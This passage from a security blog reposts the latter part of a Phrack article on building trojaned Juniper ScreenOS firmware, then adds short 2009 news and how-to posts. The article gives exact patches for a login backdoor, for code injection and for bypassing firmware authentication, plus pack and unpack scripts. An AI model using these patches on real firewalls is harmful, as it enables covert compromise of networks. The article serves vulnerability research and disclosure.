0x00012c00 |--------------------------|
| COMPRESSED BLOB |
| |
| |
| |
| |
| |
| |
~0x004e6000 \--------------------------/

This is a similar format for other embedded firmware.

Compressed Firmware Header
The header consists of the following 4 byte fields making up 32 bytes:

- Signature (magic bytes)
- Information 4*1 byte fields: 00, Platform, CPU, Version (eg 0x00110A12)
- Offset (for program entry point)
- Address (for program entry point)
- Size
- unknown
- unknown
- Checksum

Points to note are
- the size field = (size of the compressed blob - 79 bytes)
- signature = 0xEE16BA81
- offset = 0x00000002
- address = 0x02860000

and these were always the same in the version 5 firmwares that were
compared. Version 4 firmwares differed but were similar but these are old
versions and I will not discuss them here.

Stub

The stub in the firmware image is responsible for uncompressing the blob
when the device is booted. This stub contains strings relating to the LZMA
algorithm so it was assumed that the compressed blob is an LZMA compressed
binary blob. From the Wikipedia LZMA entry: "Decompression-only code for
LZMA generally compiles to around 5kB and the amount of RAM required
during decompression is principally determined by the size of the sliding
window used during compression. Small code size and relatively low memory
overhead, particularly with smaller dictionary lengths, and free source
code make the LZMA decompression algorithm well-suited to embedded
applications."

Free LZMA utilities are available here: http://tukaani.org/lzma/ and as
prebuilt packages for most *nix distributions.

Compressed Blob

The compressed blob is LZMA compressed and contains a header but this is a
non-standard header. There are non-standard signature bytes for the stub
to recognise the blob and the LZMA uncompresssed size field is missing.

The standard LZMA header has 3 fields:
options (2 bytes)
dictionary_size (4 bytes)
uncompressed_size (8 bytes)

The blob header also has 3 fields but slightly different:
signature (4 bytes) = 0x1440598
options (2 bytes)
dictionary_size (8 bytes)

The dictionary size is used as a parameter in the compression algorithm.
LZMA is a dictionary coder which I will not explain here but instead point
the reader to http://en.wikipedia.org/wiki/Dictionary_coder.

One approach would have been to attempt to use the header information and
the stub to decompress the compressed blob but given a lack of PowerPC
hardware a different approach was taken. The approach used was to cut out
the compressed blob from the firmware and attempt to decompress it in
isolation using any tools available. Again using comparative anlalysis,
the freely available LZMA utilities and direct modification of the header
bytes the following methods for decompression and compression of the blob
were reverse engineered.

The decompression process:
1. Cut out the compressed blob from the image file.
2. Insert uncompressed_size equal to -1 which equals unknown size
(-1 uncompresseed size = 0xFFFFFFFFFFFFFFFF)
3. Modify the dictionary_size from 0x00200000 to 0x00008000.
4. Decompress the file using standard LZMA utilities.

The modification of the dictionary size was found by fuzzing the field and
then attempting to decompress. The decompression reports an error at the
end of the decompression so it is important to decompress to a stream
otherwise the decompressed data is lost.

The recompression process:
1. Compress with standard LZMA utilities using specific compression
options
2. Modify the dictionary_size field 0x00002000 to 0x00200000.
3. Delete the uncompressed_size field of 8 bytes.
4. Concatenate with the header from the original image file.

Proof of concept python scripts are provided in the Addendum which can
perform the packing and unpacking of ScreenOS images. The LZMA utilities
are necessary for operation of these scripts.

The recompressed firmware successfully loads onto a Netscreen and runs.
More research into the dictionary size field was going to be carried out
but once loading of firmware was successful there were many other more
interesting avenues of research which took precedence.


--[ 0x6 - Night of the Living Netscreen

So at this stage we have successfully reverse engineered the compression
of the firmware. We are also in a position to reverse engineer the
operating system obtained from the decompression.

The steps are:

1. Cut out the compressed blob section of the image
2. Uncompress the blob.
3. Re-compress the modified binary.
4. Concatenate the original image header and the modified blob.
5. Upgrade the Netscreen with the modified operating system.

So we can install the firmware if we have physical access to the device or
some kind of funky remote serial console. But we want to be able to
install firmware over the network. However on attempting to upload a new
firmware via the device web interface or through the tftp command:

ns5xt>save software from tftp x.x.x.x filename to flash

loading fails with a 'bad image file data' error. Note the insecure
transport mechanism for the firmware. This is vulnerable to a man in the
middle attack.

We need to fix the size and checksum fields of the compressed firmware
header. We know the size field needs to be set equal to the compressed
firmware size - 79 bytes. But we do not yet know how the checksum field is
calculated. To obtain the checksum algorithm we need to disassemble the
uncompressed blob we have from decompressing the firmware. We will now
discuss disassembling the binary and then move onto addressing the
checksum issue.

--[ 0x7 - Autopsy

The uncompressed blob is an approximately 20Mb binary. We want to load
the binary into IDA (a disassembler with PowerPC support) but we need a
loading address so that relative addresses within the program point to the
correct memory locations. Initially the binary was loaded at address
0x00000000 but it is obvious that pointers to strings are not referencing
the beginning of strings.

The uncompressed blob contains a header with similarities to the
compressed firmware header. The header fields contain a virtual address
and a header size. If we subtract the header size from the virtual address
we have the loading address.

Uncompressed Blob Header

signature offset address
00000000: EE16BA81 00010110 00000020 00060000

ScreenOS Loading Address = 0x00060000 - 0x00000020 = 0x0005FFE0

This can be confirmed with live debugging by using GDB and querying the
memory at 0x0005FFE0 to check that the signature bytes 0xEE16BA81 are at
that memory location.

We can now rebase the program in IDA to use the correct loading address.
Now we have a correctly loaded binary but we do not know anything about
the structure of the binary or the sections it may contain as the binary
is not a recognised executable type. Code and data were marked using IDC
scripts which searched for function prologs (0x9421F*) and string cross
references. The approximate segments of the binary found by scripting and
manual examination are sketched out in the very simplified illustration
below:


0x0005ffe0 /-------------------------\
| HEADER & |
| SCREENOS CODE |
0x00c40000 |-------------------------|
| SCREENOS DATA |
0x00f0efd8 |-------------------------|
| FILES |
0x011ddab4 |-------------------------|
| BOOT LOADER CODE |
0x011f2b4e |-------------------------|
| BOOT LOADER DATA |
0x0140e04c |-------------------------|
| 0xFFs |
0x014171cf |-------------------------|
| other stuff |
\-------------------------/

To build up a picture of the binary it is useful to search for functions
such as str_cmp, file_read, file_write etc and use error strings to
identify and name functions in IDA.

The boot loader can be cut out and disassembled separately with a loading
address of 0x00000000.


--[ 0x8 - Netscreen of the Dead

At this stage we are now ready to construct a ScreenOS Trojaned Firmware.
Any trojan has three basic requirements:

1. Delivery: It must be able to be installed remotely.
2. Access: It must provide remote access / communication.
3. Payload: It must provide attacker supplied code execution.

During this research all modification of the ScreenOS binary to construct
the trojaned version was hand crafted assembly inserted via hex editing
the binary firmware.

1. First Bite [ Delivery ]
Unlike loading a firmware over a serial console at boot time, the
checksum and size fields in the header are checked when images are loaded
over the network via TFTP or the Web interface

00000000: EE16BA81 00110A12 00000020 02860000
00000010: 004E6016 15100050 29808000 C72C15F7 <-CHECKSUM The checksum is calculated as part of the image loading sequence and a disassembly of the relevant function is shown below...but on firmware loading any bad header checksum value is printed to the console with an error message. If we binary modify the firmware to print out the correct checksum value we would have a 'checksum calculator' firmware which we can load modified firmware against to calculate valid checksums. So we don't have to calculate or reverse engineer the checksum algorithm. This checksum calculator firmware can be loaded over serial console and new images we need to calculate the checksum for are loaded over TFTP. The correct checksum will then be output to the console. This correct header value can then be inserted into the firmware header by direct hex editing of the image file. With a correct checksum field we can now load modified images via tftp and the web interface. Below is the ScreenOS code we need to modify to create a checksum calculator image. 008B60E4 lwz %r4, 0x1C(%r31) # %r4 contains header checksum 008B60E8 cmpw %r3, %r4 # %r3 contains calculated checksum 008B60EC beq loc_8B6110 # branch away if checksums matched 008B60F0 lis %r3, aCksumXSizeD@h # " cksum :%x size :%d\n" 008B60F4 addi %r3, %r3, aCksumXSizeD@l 008B60F8 lwz %r5, 0x10(%r31) 008B60FC bl Print_to_Console # %r4 is printed to console 008B6100 lis %r3, aIncorrectFirmw@h # "Incorrect firmware data" 008B6104 addi %r3, %r3, aIncorrectFirmw@l 008B6108 bl Print_to_Console If we replace 008B60E8 cmpw %r3, %r4 # %r3 contains calculated checksum with 008B60EC mr %r4,%r3 # print out calculated checksum we have our checksum calculator firmware. For interested readers two checksum algorithms were identified at addresses and reverse engineering of these is certainly possible. One Bit{e} [ Access ] The most stealthy and elegant backdoor is to subvert the existing login mechanism. It may be possible to spawn a shell on another external port but this may be noticed from an external scan of the appliance and compromises the stealthiness of the trojaned firmware so further research into this was not carried out. Serial console, Telnet, Web and SSH all compare password hashes and use the same function for that comparison. Additionally SSH falls back to password authentication if the client does not supply a key, unless password authentication has been explicitly disabled. A one bit patch to the firmware provides a login with any password if a valid username is supplied. 003F7F04 mr %r4, %r27 003F7F08 mr %r5, %r30 003F7F0C bl COMPARE_HASHES # does a string compare 003F7F10 cmpwi %r3, 0 # equal if match 003F7F14 bne loc_3F7F24 # login fails if not equal (branch) 003F7F18 li %r0, 2 003F7F1C stw %r0, 0(%r29) 003F7F20 b loc_3F7F28 If we replace 003F7F10 cmpwi %r3, 0 # equal if match with 0x397F30 cmpwi %r3, 1 # equal if they don't match then any password EXCEPT a valid password will provide a login. We could patch 003F7F14 bne loc_3F7F24 # login fails if not equal (branch) to 003F7F14 bl loc_3F7F24 # login never fails (branch) to allow any password with a valid username to work. Infection [ Payload ] The last step for our working trojan is to be able to inject code into the firmware. First we need to find somewhere to inject the code we want executed. The ScreenOS code section contains a block of nulls large enough to include useful functionality at address 0x0031b4ac to 0x0031b4b0 First we write our desired functionality in PowerPC assembly and replace a chunk of nulls with the hex values of the assembly opcodes. The steps to execute this code are: - Patch a branch in ScreenOS to call our code - Run our injected code which can potentially call ScreenOS functions - Branch back to callee This code can be injected at address 0x002BB4E0 in the firmware and called from the login function of ScreenOS: 003F7F04 mr %r4, %r27 003F7F08 mr %r5, %r30 003F7F0C bl GET_HASHED_PASS # patch this to call our code 003F7F10 cmpwi %r3, 0 003F7F14 bne loc_3F7F24 003F7F18 li %r0, 2 003F7F1C stw %r0, 0(%r29) 003F7F20 b loc_3F7F28 so 003f7f0c bl GET_HASHED_PASS becomes 003f7f0c bl 0x31b4c0 which will jump to the location containing the injected code. To inject code the PowerPC architecture features such as flat memory model, fixed width 4 byte instructions and the link register make this fairly straightforward to implement. A very simple proof of concept example, which prints out a string to the console on every login, is provided below: stwu %sp, -0x20(%sp) # reserve some stack space mflr %r0 # minimal function prolog lis %r3, string_msb_address # load half of string addi %r3, %r3, string_lsb_address # load second half of string bl Print_To_Console # call ScreenOS function mtlr %r0 addi %sp, 0x20 #minimal function epilog bl callee_function # branch back to calling function As PowerPC has a fix instruction size of 4 bytes to load a 4 byte string we need two instructions. The first loads the most significant bytes - 2 bytes for load instruction into register and 2 bytes of string, the second adds the least significant bytes to the register to give us 4 byte string. This asssembly is then translated in hex and patched into the firmware using a hex editor at absolute address 0x002bb4e0 overwriting existing nulls bytes: 0x002bb4b0: 93DFCAC4 4BD48E69 80010014 7C0803A6 0x002bb4c0: 83C10008 83E1000C 38210010 4E800020 0x002bb4d0: 00000000 00000000 00000000 00000000 0x002bb4e0: 9421FFE0 7C0802A6 3C6000C4 386321BC <---- 0x002bb4f0: 488ED7E9 60630001 7C0803A6 38210020 injected code 0x002bb500: 480DCA31 00000000 00000000 00000000 ->
0x002bb510: 00000000 00000000 00000000 00000000

From reverse engineering we have identified a ScreenOS function which
prints strings to the console. So here we have new functionality injected
into the ScreenOS firmware which has new code but also calls builtin
ScreenOS functionality. The string loaded can be one already existing in
ScreenOS or a new one injected somewhere into the null byte area.

Every time a user logins the string will be output to the serial console.

--[ 0x9 - Zombie Loader

ScreenOS does include a facility to validate firmware images and all
Juniper firmware images are signed. Crucially though the validating
certificate is NOT installed by default on any Netscreen AND anyone with
administrator rights can delete and install the certifcate. To enable
firmware image authentication it is necessary to obtain the certificate
from the Juniper website and then upload the certificate to the device
using the following command:

save image-key tftp 129.168.0.40 image-key.cer

In the example above image-key is the certificate to be uploaded from the
tftp server with IP address 192.168.0.40. Note the insecure transport
mechanism for a cryptographic key. This is vulnerable to a man in the
middle attack.

The firmware authentication check code is present in the boot loader which
we can modify to authenticate all firmware images or only non-Juniper
images. It may also be possible to sign firmware with our own certificate
and upload this to the Netscreen to be used for validation.

Patching the Boot Loader to bypass certificate authentication.
To bypass the firmware authentication check only one branch instruction
needs to be patched:

beq -> bl 0x4182001C -> 0x4800001C

0000D68C bl sub_98B8
0000D690 cmpwi %r3, 0 # %r3 has result of image validation
0000D694 beq loc_D6B0 # branch if passed
0000D698 lis %r3, aBogusImageNotA@h # image not authenticated
0000D69C addi %r3, %r3, aBogusImageNotA@l
0000D6A0 crclr 4*cr1+eq
0000D6A4 bl sub_C8D0
0000D6A8 li %r31, -1
0000D6AC b loc_D6E0

If we replace

0000D694 beq loc_D6B0 # branch if passed

with

0000D694 bl loc_D6B0 # always branch, all images authenticated

or this

0000D694 bne loc_D6B0 # evil...only bogus images authenticated

we can successfully load modified firmware even if a Juniper certificate
is installed on the device. The boot loader is automatically upgraded when
an image is loaded if the new boot loader differs from the existing.

In summary the steps to bypass firmware authentication are:

1. Delete certificate if one has been uploaded using the command:

ns5xt>delete crypto auth-key

2. Upload the modified firmware image including modified boot loader.

3. Upload the certificate using:

ns5xt>save image-key tftp 192.168.0.21 imagekey.cer

--[ 0xA - 28 Hacks Later

A more useful trojaned firmware can perform numerous functions leveraging
existing ScreenOS functionality such as
- loading a hidden shadow configuration file
- allowing all traffic from one IP through the Netscreen to the network
- a network traffic tap
- persistent infection via boot loader on a firmware upgrade
- client side attacks against Administrators via Javascript code injection
into the web console


--[ 0xB - Closing Scene

If unauthorised access is gained to a device running ScreenOS it is
possible for an attacker to replace the boot loader and operating system
with a modified version which is undetectable except by off line
comparison with a known image.

Juniper in-memory infection.

A very stealthy attack is also possible due to a feature of ScreenOS. When
loading a firmware over serial console two options are provided:
1. Save firmware to flash and then run new firmware.
2. Just run new firmware without saving to flash.

In the second case the modified firmware will be wiped on reboot and the
previously stored firmware will be run. After a reboot no trace of the
modified firmware will be left.

These attacks are straightforward for an attacker anywhere in the supply
chain (ie vendors. manufacturers) or someone with physical access (ie
third party support). If an administrator uses TFTP or HTTP to upgrade a
Netscreen it is also possible to conduct a man-in-the-middle attack and
replace the firmware being uploaded with a modified version on the wire.

These attacks could be prevented by Juniper pre-installing a certificate
for image authentication which can not be deleted or modified.


--[ 0xC - References

- Juniper JTAC Bulletin PSN-2008-11-111
ScreenOS Firmware Image Authenticity Notification
"All Juniper ScreenOS Firewall Platforms are susceptible to
circumstances in which a maliciously modified ScreenOS image can
be installed."

http://www.securelink.nl/nl/x/123/ScreenOS-Firmware-Image-Authenticity-
Notification

--[ 0xD - Credits
George Romero, antic0de, the belgian, hawkes, zadig, lenny, mark, andy,
ruxcon, kiwicon, +Mammon, +Orc


--[ 0xE Adddendum:

---------------------------------------------------------------------------
~/.gdbinit for remote PowerPC debugging
---------------------------------------------------------------------------
#--------------remote connect command over USB serial link-----------------
define netscreen
set height 0
set logging on
target remote /dev/ttyUSB0
end
#--------------------breakpoint aliases------------------------------------
define bpl
info breakpoints
end

define bpc
clear $arg0
end

define bpe
enable $arg0
end

define bpd
disable $arg0
end

#--------------------process information-----------------------------------
define stack
info stack
info frame
info args
info locals
end

define reg
printf " r00:%08X r01:%08X r02:%08X r03:%08X", $r0, $r1, $r2, $r3
printf " \t pc:%08X\n", $pc
printf " r04:%08X r05:%08X r06:%08X r07:%08X\n", $r4, $r5, $r6, $r7
printf " r08:%08X r09:%08X r10:%08X r11:%08X", $r8, $r9, $r10, $r11
printf " \t lr:%08X\n", $lr
printf " r12:%08X r13:%08X r14:%08X r15:%08X\n", $r12, $r13, $r14, $r15
printf " r16:%08X r17:%08X r18:%08X r19:%08X", $r16, $r17, $r18, $r19
printf " \tctr:%08X\n", $ctr
printf " r20:%08X r21:%08X r22:%08X r23:%08X\n", $r20, $r21, $r22, $r23
printf " r24:%08X r25:%08X r26:%08X r27:%08X", $r24, $r25, $r26, $r27
printf " \t cr:%08X\n",$cr
printf " r28:%08X r29:%08X r30:%08X r31:%08X", $r28, $r29, $r30, $r31
printf " \txer:%08X\n", $xer
end

define func
info functions
end

define var
info variables
end

define lib
info sharedlibrary
end

define sig
info signals
end

define threadice
info threads
end

define u
info udot
end

define dis
disassemble $arg0
end


#------------------------------hex/ascii dump address----------------------
define hexdump
printf "%08X : ", $arg0
printf "%02X %02X %02X %02X %02X %02X %02X %02X", *(unsigned char*) /
($arg0), *(unsigned char*)($arg0 + 1),*(unsigned char*)($arg0+2), /
*(unsigned char*)($arg0 + 3),*(unsigned char*)($arg0+4), *(unsigned char*)/
($arg0 + 5),*(unsigned char*)($arg0+6), *(unsigned char*)($arg0 + 7)
printf " - "
printf "%02X %02X %02X %02X %02X %02X %02X %02X",*(unsigned char*) /
($arg0+8), *(unsigned char*)($arg0 + 9),*(unsigned char*)($arg0+10), /
*(unsigned char*)($arg0 + 11),*(unsigned char*)($arg0+12), /
*(unsigned char*)($arg0 + 13),*(unsigned char*)($arg0+14), /
*(unsigned char*)($arg0 + 15)
printf " %c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n",*(unsigned char*)($arg0),/
*(unsigned char*)($arg0 + 1),*(unsigned char*)($arg0+2), /
*(unsigned char*)($arg0 + 3),*(unsigned char*)($arg0+4), /
*(unsigned char*)($arg0 + 5),*(unsigned char*)($arg0+6), /
*(unsigned char*)($arg0 + 7),*(unsigned char*)($arg0+8), /
*(unsigned char*)($arg0 + 9),*(unsigned char*)($arg0+10),/
*(unsigned char*)($arg0 + 11),*(unsigned char*)($arg0+12), /
*(unsigned char*)($arg0 + 13),*(unsigned char*)($arg0+14), /
*(unsigned char*)($arg0 + 15)
end

#------------------------------hex dump address---------------------------
define memdump
printf "%02X%02X%02X%02X%02X%02X%02X%02X", *(unsigned char*)/
($arg0), *(unsigned char*)($arg0 + 1),*(unsigned char*)($arg0+2), /
*(unsigned char*)($arg0 + 3),*(unsigned char*)($arg0+4), /
*(unsigned char*)($arg0 + 5),*(unsigned char*)($arg0+6), /
*(unsigned char*)($arg0 + 7)
printf "%02X%02X%02X%02X%02X%02X%02X%02X\n",*(unsigned char*)/
($arg0+8), *(unsigned char*)($arg0 + 9),*(unsigned char*)($arg0+10),/
*(unsigned char*)($arg0 + 11),*(unsigned char*)($arg0+12),/
*(unsigned char*)($arg0 + 13),*(unsigned char*)($arg0+14),/
*(unsigned char*)($arg0 + 15)
end


#----------------------------process context-------------------------------
define context
printf "\n"
printf "powerpc\n"
printf "---------------------------------"
printf "--------------------------------------[regs]\n"
reg
printf "\n"
printf "[%08X]---------------------", $r1
printf "--------------------------------------[stack]\n"
hexdump $r1+64
hexdump $r1+48
hexdump $r1+32
hexdump $r1+16
hexdump $r1
hexdump $r1-16
hexdump $r1-32
hexdump $r1-48
hexdump $r1-64
printf "\n"
printf "[%08X]---------------------", $pc
printf "----------------------------------[code]\n"
x /16i $pc
printf "---------------------------------"
printf "-------------------------------------\n"
end


#--------------------------process control---------------------------------
define n
ni
context
end

define c
continue
context
end

define go
stepi $arg0
context
end

define goto
tbreak $arg0
continue
context
end

define pret
finish
context
end

define startice
tbreak _start
r
context
end

define main
tbreak main
r
context
end

define find
set $start = (char *) $arg0
set $end = (char *) $arg1
set $pattern = (int) $arg2
set $p = $start
while $p < $end if (*(int *) $p) == $pattern printf "pattern 0x%x found at 0x$x\n", $pattern, $p end set $p++ end end #--------------------------gdb options------------------------------------- set confirm 0 set verbose off set prompt gdb-ppc>
set output-radix 0x10
set input-radix 0x10


---------------------------------------------------------------------------
ScreenOS pack & unpack python scripts
---------------------------------------------------------------------------
#!/usr/local/bin/python
#
# nodunpack.py :: ScreenOS image unpacker
#
#
# IMPORTANT:
# requires LZMA utilities
#
import sys
import subprocess

class sosunzip:

def init():
self.header
self.image
self.packed
self.out

def unpack(self):

print "Cutting off header and saving"
f = open(self.packed, 'rb')
fh = file(self.header, 'w+b')
fb = file(self.image, 'w+b')

# save header including 4 magic bytes for lzma blob
head = f.read(0x00012c04)
fh.write(head)
fh.close()
print "Header extracted"

# save lzma blob
f.seek(0x00012c04)
blob = f.read()
fb.write(blob)
f.close()
fb.close()
print "lzma blob extracted"

# fast way
# fb = open(self.image, 'r+b')
# buf = fb.read().replace(oldhead,newhead)
# fb.seek(0x0)
# fb.write(buf)
# fb.close()

# correct dictionary size
fb = open(self.image, 'r+b')
fb.seek(0x01)
print "Correcting dictionary size 00008000"
fb.write(chr(0x00) + chr(0x00) + chr(0x80) + chr(0x00))

# read header and lzma blob
fb.seek(0x0)
head = fb.read(0x05)
fb.seek(0x05)
lzma = fb.read()

# write outheader, unknown size and lzma blob
fb.seek(0x00)
fb.write(head)
print "Adding uncompressed size: 0xffffffffffffffff"
fb.write(chr(0xff)+chr(0xff)+chr(0xff)+chr(0xff)+chr(0xff)+chr /
(0xff)+chr(0xff)+chr(0xff))
fb.write(lzma)
fb.close()

print ("Uncompressing LZMA blob...")
mkimage = "".join(['lzcat ',self.image,' > ',self.out])
subprocess.call(mkimage, shell=True)
print "lzcat: Blob decompressed (decoder error is safe to ignore)"
print "ScreenOS image file decompressed"

if __name__ == '__main__':

if len(sys.argv) != 4:
print "Usage: ./sunpack.py "
sys.exit(1)
else:
s = sosunzip()
s.packed = sys.argv[1]
s.header = sys.argv[2]
s.out = sys.argv[3]
s.image = "".join([sys.argv[3],'.lzma'])
s.unpack()

sys.exit(0)


#!/usr/local/bin/python
#
# nodpack.py :: ScreenOS image packer
#
#
# IMPORTANT:
# requires LZMA utilities installed!
#
import sys
import subprocess

class soszip:

def init():
self.header
self.image
self.packed

def pack(self):

print ("Compressing with LZMA...")
mklzma = "".join(["lzma", " -5 ",self.image])
subprocess.call(mklzma,shell=True)

print("Adding header to LZMA blob...")
mkimage = "".join(['cat ',self.header,' ',self.image,'.lzma > /
',self.packed])
subprocess.call(mkimage, shell=True)

print "Fixing dictionary size 0x00012c05: 00008000 -> 00200000"
f = open(self.packed, 'r+b')
f.seek(0x00012c05)
f.write(chr(0x00)+ chr(0x20) + chr(0x00)+ chr(0x00))
#seek to start of file
f.seek(0x0)
head = f.read(0x00012c09)
print "Removing uncompressed size 0x00012c09: [8 bytes]"
#seek past the field to remove
f.seek(0x00012c11)
bub = f.read()
# rewrite the file
f.seek(0x0)
f.write(head)
f.write(bub)
f.truncate()
f.close()

print "ScreenOS image file created"

if __name__ == '__main__':

if len(sys.argv) != 4:
print "Usage: ./nodpack.py
"
sys.exit(1)
else:
s = soszip()
s.header = sys.argv[1]
s.image = sys.argv[2]
s.packed = sys.argv[3]
s.pack()

sys.exit(0)

--------[ EOF

source: phrack

Friday, June 5, 2009

Windows XP ATM's Under Hacker Attacks

There have been approximately 20 ATM's in Eastern Europe that have been compromised. These attacks are in the early stages of development and would probably gain momentum and even spread to US ATM machines.

A security outfit, TrustWave's SpiderLabs performed the analysis of malware found installed on compromised ATMs in the Eastern European region. The ATM's that were compromised ran Microsoft Windows XP. The malware captures magnetic stripe data and PIN codes from the private memory space of transaction-processing applications installed on infected ATM.

The attacker can gain full control of the infected ATM through a customized user interface built into the malware. This is accomplished by inserting a controller card into the ATM's reader.

TrustWave's analyses don't believe the malware has networking functionality that would send data to other, remote locations over the Internet. The malware would output the harvested data through the ATM's receipt printer or write the data to a storage device inserted into the ATM's .

TrustWave stated; "this malware is unlike any we have ever had experience with. It allows the attacker to gain complete control over the ATM to obtain track data, Pins and cash from each infected machine."

"We believe the current attack vector is an early version of the malware sample, and future attacks will add functionality such as propagation via the ATM network. If an attacker can gain access to one machine, the malware will evolve and propagate automatically to other systems."

A dropper file named isadmin.exe, is installed into the ATM and executed within the C:\WINDOWS directory of the compromised machine. The malware then proceeds to control the Protected Storage service that would handle the original lsass.exe executable file, located in the C:\WINDOWS\system32 directory, to point to the infected file.

The malware is designed to remain active in the event the ATM crashes and has to restart.

source: physorg

Thursday, May 14, 2009

svn metasploit on windows

One
* Download latest tortoisesvn
* Create a directory with any name (ex: metasploit)
* Checkout latest metasploit version by using http://metasploit.com/svn/framework3/trunk/
* Download ruby packaged by One-Click Ruby Installer Project.
* ruby185-22.exe is recommended for this example.
* Install it in any directory

Two
* Download Ruby/GTK2 binaries for Windows.
* ruby-gnome2-0.16.0-1-i386-mswin32.exe is recommended for this example.
* Execute it. Basically, you don't need to change any settings. There are three points you can set it by yourself.
  • GTK2 Runtime: If you have your own GTK2 binaries(and the bin-path is added to PATH), you may check off this option. But it is heavily recommended to check on this option.
  • Register Environment Variables: The GTK2 Runtime bin-path is added to PATH. If you want to use tools such as msginit, msgmerge, etc ..., this option is useful. But if you don't need them, you shouldn't check this option. Especially, if you have some other GTK2 applications, it may causes any DLL conflicts.
  • Choose the install directory: Note that you need to choose the ruby-install-dir (Ex: c:\Ruby).
Three
* Time to test it.
* The following commands should be typed on the "Prompt for DOS". To open the Prompt for DOS on:

C:\>ruby -v
ruby 1.8.0 (2003-05-26) [i386-mswin32]

C:\>ruby -e "require 'gtk2'"

C:\>ruby -rgtk2 -e "Gtk::Window.new.show;Gtk.main"

* If it didn't return any error, it's done.

Monday, April 27, 2009

Truecrypt Installation on Fedora 10

TrueCrypt 6.1 on Fedora 10 was quite straightforward. Here is a quick list of steps to follow:

1. Download the TrueCrypt 6.1 source tarball from www.truecrypt.org

2. Untar the source:
[root@slash-the Download]# tar -zxvf TrueCrypt\ 6.1a\ Source.tar.gz

3. Install required libraries:
[root@slash-the Download]# yum install nss-pkcs11-devel fuse-devel wxGTK wxGTK-devel gnome-keyring-devel gcc-c++


4. Export the Cryptoki include folder:
[root@slash-the Download]# export PKCS11_INC=/usr/include/gp11

5. Run make
You may get the following error messages:
../Common/SecurityToken.cpp:654: error: ‘CKR_NEW_PIN_MODE’ was not declared in this scope
../Common/SecurityToken.cpp:655: error: ‘CKR_NEXT_OTP’ was not declared in this scope

5.1 Open Common/SecurityToken.cpp in your favourite editor.

5.2 Scroll to line 654

5.3 Comment out line 654 and 655. It should look like this:
// TC_CASE_STR (CKR_NEW_PIN_MODE);
// TC_CASE_STR (CKR_NEXT_OTP);

5.4 Save and exit

5.5 Run make again

6. TrueCrypt is now compiled:
[root@slash-the Download]# cp Main/truecrypt /usr/share/bin

Wednesday, April 22, 2009

Cisco puts more security in the cloud

SAN FRANCISCO--Cisco is set to make several cloud-related security announcements at the RSA conference on Tuesday, including the expansion of its hosted security services and the integration of security-as-a-service applications with corporate network infrastructures.

The new products include Cisco Security Cloud Services, Cisco IPS Sensor Software 7.0 for intrusion prevention, and Cisco Adaptive Security Appliance 5500 Series 8.2 software with a botnet traffic filter for identifying infected clients and remote access capabilities.

The company uses what it calls "SensorBase," a massive threat-monitoring network overseen by 500 workers in its Cisco Security Intelligence Operations center. The center collects data from 7,000 devices and hundreds of millions of client computers, providing snapshots of activity at different times and locations that can indicate if a large attack is going on, said Ambika Gadre, director of product marketing in the security technology business unit at Cisco, during a briefing on Monday.

The company also is announcing Cisco SAFE, a security reference architecture organizations can use as a guideline for deploying security solutions, and Cisco Information Technology Governance, Risk Management and Compliance consulting services.

In addition, Cisco is introducing the Cisco WebEx Collaboration Cloud for software-as-a-service, a network to provide high performance and security for conferencing, instant messaging and other enterprise work group activities. Also new is the Cisco WebEx Node for ASR 1000 Series, which allows the edge router to act as a point of presence in a corporate network for online meetings.

As confusing as it may be to keep the separate announcements straight, one analyst said Cisco's overall security strategy is a good one.

"There's been a rejuvenation of security at Cisco. They've had a hard time dealing with big picture things," said Peter Christy, principal of the Internet Research Group. "Their long-term vision is that security migrates with you" through the cloud.

Patrick Peterson, a security researcher at Cisco, described some of the threats facing corporations, including cybercriminals based in Russia and the Ukraine.

"They are the Bill Gates of cybercrime," because they are tech savvy and have an innovative entrepreneurial sense, he said.

SOURCE: www.cnet.com

Tuesday, April 21, 2009

The Great Brazilian Satellite-Hack Crackdown

CAMPINAS, Brazil — On the night of March 8, cruising 22,000 miles above the Earth, U.S. Navy communications satellite FLTSAT-8 suddenly erupted with illicit activity. Jubilant voices and anthems crowded the channel on a junkyard's worth of homemade gear from across vast and silent stretches of the Amazon: Ronaldo, a Brazilian soccer idol, had just scored his first goal with the Corinthians.

It was a party that won't soon be forgotten. Ten days later, Brazilian Federal Police swooped in on 39 suspects in six states in the largest crackdown to date on a growing problem here: illegal hijacking of U.S. military satellite transponders.

"This had been happening for more than five years," says Celso Campos, of the Brazilian Federal Police. "Since the communication channel was open, not encrypted, lots of people used it to talk to each other."

The practice is so entrenched, and the knowledge and tools so widely available, few believe the campaign to stamp it out will be quick or easy.

Much of this country's geography is remote, and beyond the reach of cellphone coverage, making American satellites an ideal, if illegal, communications option. The problem goes back more than a decade, to the mid-1990s, when Brazilian radio technicians discovered they could jump on the UHF frequencies dedicated to satellites in the Navy's Fleet Satellite Communication system, or FLTSATCOM. They've been at it ever since.

Truck drivers love the birds because they provide better range and sound than ham radios. Rogue loggers in the Amazon use the satellites to transmit coded warnings when authorities threaten to close in. Drug dealers and organized criminal factions use them to coordinate operations.

Today, the satellites, which pirates called "Bolinha" or "little ball," are a national phenomenon.

"It's impossible not to find equipment like this when we catch an organized crime gang," says a police officer involved in last month's action.

The crackdown, called "Operation Satellite," was Brazil's first large-scale enforcement against the problem. Police followed coordinates provided by the U.S. Department of Defense and confirmed by Anatel, Brazil's FCC. Among those charged were university professors, electricians, truckers and farmers, the police say. The suspects face up to four years and jail, but are more likely to be fined if convicted.

SOURCE: http://www.wired.com

Monday, April 20, 2009

Should We Reward Hackers for Finding Flaws?

Dr. Charlie Miller, famous Mac hacker, announced at this year's CanSecWest hacking contest that he would no longer be releasing exploits for free, to the vendor or anyone else. Further, Charlie and a few friends have started a "No More Free Bugs" campaign, which even has its own logo.

I've met and very much respect Charlie Miller, and I believe his intentions are good. He just wants to make a living doing what he is good at. The services he provides are valuable, to the software vendor and to us all. Still, I'm bothered by one nagging question: Will or won't Charlie sell his bug findings to parties with malicious intentions? He hasn't yet made a clear, definitive statement on that. I suspect he won't, but for now, I don't know for sure.

(It took Charlie Miller only 10 seconds to crack the Mac at CanSecWest. Now he says he's found a way to trick the iPhone into enabling shell code.)

I feel for Charlie and other truly elite, well-intentioned hackers like him. I've met many of them over the last 20 years, and I know that discovering vulnerabilities isn't the easiest way to make a living. I've known talented hackers who provided independently found exploits to the vendor and were offended when the vendor didn't want to pay them for their hard work. I've seen these initially well-intentioned hackers begin multiyear vendettas against the vendor, who they purportedly wanted to work for, by announcing bug after bug in retaliation. I've seen scorned hackers sell bugs to competitors and beat up the vendor in the press.

Penny in a haystack

